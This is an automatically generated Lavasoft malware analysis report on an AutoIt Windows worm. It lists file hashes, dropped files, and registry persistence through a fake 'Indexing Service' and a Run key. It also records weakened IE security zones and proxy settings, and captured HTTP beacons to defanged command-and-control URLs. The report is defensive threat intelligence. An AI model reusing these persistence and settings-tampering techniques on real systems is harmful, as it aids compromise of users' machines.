Worm.Win32.AutoItGen_5e6a14f853

by malwarelabrobot on May 7th, 2014 in Malware Descriptions.

Trojan.Win32.Autoit.cde (Kaspersky), Worm.Win32.AutoIt.FD, WormAutoItGen.YR (Lavasoft MAS)
Behaviour: Trojan, Worm


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 5e6a14f853a0312a91f691ad6b35b3b9
SHA1: 3f37bdf2987f6d966a569b25951a24f94720db90
SHA256: f02936b36057ca4cd14f5cb9f6cb3f24b96f9e73a459b7eec92d73e3ca65aeef
SSDeep: 49152:V1vqjdlQFRKC9K4l1xdHnsKZ2gIkQd AJmFsruSNp2zDo:V1vqjVCE4rXHsKwgI9B/wDo
Size: 2107434 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-04-16 10:47:33
Analyzed on: WindowsXP SP3 32-bit


Summary:

Worm. A program that is primarily replicating on networks or removable drives.

Payload

No specific payload has been found.

Process activity

The Worm creates the following process(es):

WMIADAP.EXE:1252
tree.com:760
tree.com:804
makecab.exe:1036
%original file name%.exe:644
 ctfmon.exe:332

The Worm injects its code into the following process(es):
No processes have been created.

File activity

The process WMIADAP.EXE:1252 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%System%\wbem\Performance\WmiApRpl_new.ini (1856 bytes)
%System%\PerfStringBackup.TMP (1471032 bytes)
%System%\perfc009.dat (151 bytes)
%System%\perfh009.dat (3509 bytes)
%System%\wbem\Performance\WMIAPRPL_NEW.H (984 bytes)
%System%\PerfStringBackup.INI (3361 bytes)

The Worm deletes the following file(s):

%System%\wbem\Performance\WmiApRpl.ini (0 bytes)
%System%\wbem\Performance\WmiApRpl.h (0 bytes)
%System%\PerfStringBackup.TMP (0 bytes)

The process tree.com:760 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%System%\tree.txt (20022246 bytes)

The process tree.com:804 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%System%\tree.txt (40513 bytes)

The process makecab.exe:1036 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%System%\DiskFile.CAB (2449 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab3 (34 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab2 (13073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab5 (34 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab4 (13073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab6 (8 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\cab11 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab3 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab2 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab5 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab4 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab7 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab6 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab9 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab8 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab10 (0 bytes)

The process %original file name%.exe:644 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%System%\bkstsc.acn (8449 bytes)
%System%\ ctfmon.exe (5873 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ramybsw (1441 bytes)
%System%\bkst.exe (8353 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut3.tmp (6385 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (784 bytes)
%System%\ins.exe (15116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (6289 bytes)
%System%\source.ex_ (15116 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ramybsw (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut3.tmp (0 bytes)

The process  ctfmon.exe:332 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\jthkjru (1633 bytes)
%System%\ctfver.acn (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut4.tmp (784 bytes)
%System%\tree.txt (10857 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\jthkjru (0 bytes)
%System%\ml.acn (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut4.tmp (0 bytes)
%System%\tree.txt (0 bytes)

Registry activity

The process WMIADAP.EXE:1252 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%\DRIVERS]
"ACPI.sys[ACPIMOFResource]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"
"intelppm.sys[PROCESSORWMI]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"

[HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance]
"Performance Refresh" = "0"

[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%\DRIVERS]
"HTTP.sys[UlMofResource]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"

[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%]
"advapi32.dll[MofResourceName]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"

[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%\DRIVERS]
"ipnat.sys[IPNATMofResource]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib]
"Updating" = "WmiApRpl"

[HKLM\System\CurrentControlSet\Services\WmiApRpl\Performance]
"First Help" = "3675"
"Last Counter" = "3702"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib]
"Last Help" = "3673"

[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%\DRIVERS]
"mssmbios.sys[MofResource]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"

[HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance]
"Performance Data" = "60 04 00 00 02 00 00 00 00 00 00 00 10 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib]
"Last Counter" = "3672"

[HKLM\System\CurrentControlSet\Services\WmiApRpl\Performance]
"Last Help" = "3703"
"First Counter" = "3674"
"Object List" = "3674 3680 3696"

[HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance]
"Performance Refreshed" = "1"

The Worm deletes the following registry key(s):

[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE]

The Worm deletes the following value(s) in system registry:

[HKLM\System\CurrentControlSet\Services\WmiApRpl\Performance]
"Disable Performance Counters"
"Library Validation Code"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib]
"Updating"

[HKLM\System\CurrentControlSet\Services\WmiApRpl\Performance]
"First Help"
"Last Counter"
"Last Help"
"First Counter"
"Object List"

The process makecab.exe:1036 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C9 6A D5 3D BD CD 27 B2 F1 E5 59 8C B6 35 C0 1B"

The process %original file name%.exe:644 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "36 36 DA 1B 13 E1 C6 0A 0B 36 B1 B2 FD 33 5C B5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\CTF\MSUTB]
"ShowDeskBand" = "1"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"DependOnService" = "RPCSS"

[HKCU\Software\Microsoft\CTF]
"Disable Thread Input Manager" = "1"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"ImagePath" = "%System%\bkst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\CTF\LangBar]
"ExtraIconsOnMinimized" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"Type" = "272"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"ErrorControl" = "1"

"ObjectName" = "LocalSystem"

[HKCU\Software\Microsoft\CTF\LangBar]
"ShowStatus" = "2"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"Description" = "Help for Microsoft Client"
"DisplayName" = "Indexing Service"

The following service will be launched automatically at system boot up:

[HKLM\System\CurrentControlSet\Services\ClHelp]
"Start" = "2"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"ctfmon" = "%System%\ ctfmon.exe"

The Worm deletes the following value(s) in system registry:
The Worm disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"ctfmon.exe"

"ctfmon"

The process  ctfmon.exe:332 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\CTF]
"Disable Thread Input Manager" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"ErrorControl" = "1"

[HKCU\Software\Microsoft\CTF\LangBar]
"ShowStatus" = "2"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"ObjectName" = "LocalSystem"
"Description" = "Help for Microsoft Client"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"ImagePath" = "%System%\bkst.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"DisplayName" = "Indexing Service"

[HKCU\Software\Microsoft\CTF\MSUTB]
"ShowDeskBand" = "1"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\CTF\LangBar]
"ExtraIconsOnMinimized" = "0"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"Type" = "272"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "49 AE 19 22 41 5F D1 5D 9A C1 6B 30 84 5D A5 F4"

[HKLM\System\CurrentControlSet\Services\ClHelp]
"DependOnService" = "RPCSS"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The following service will be launched automatically at system boot up:

[HKLM\System\CurrentControlSet\Services\ClHelp]
"Start" = "2"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"ctfmon" = "%System%\ ctfmon.exe"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

"ProxyServer"
"ProxyOverride"

The Worm disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"ctfmon.exe"

"ctfmon"

Dropped PE files

MD5 File path
85d2f04fdb7c757af23950f1c8104b06 c:\WINDOWS\system32\bkst.exe
c829fb738e11f3f3a2c4456ca023b37d c:\WINDOWS\system32\bkstsc.acn
c829fb738e11f3f3a2c4456ca023b37d c:\WINDOWS\system32\ ctfmon.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1, 0, 0, 1
File Description:
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 524790 524800 4.60204 22f0dec89c441ddff964a6b357504ca7
.rdata 532480 55732 55808 3.39244 ac5515619193247bf8d58e12334d5ad2
.data 589824 110076 26624 1.52615 e5d77411f751d28c6eee48a743606795
bkav.plp 700416 62514 62976 0 13418dcc2054888670a7a189087fbe3d
.rsrc 765952 37528 37888 4.26237 8078426565d61b70de88c1109041fe27

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://linhdanhthue007.webs.com/ml.txt 75.98.17.64
hxxp://linhdanhthue007.webs.com/FFPLINK.txt 75.98.17.64
www.google.com 173.194.32.177


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile

Traffic

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:28 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:14 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:13 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:23 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:37 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
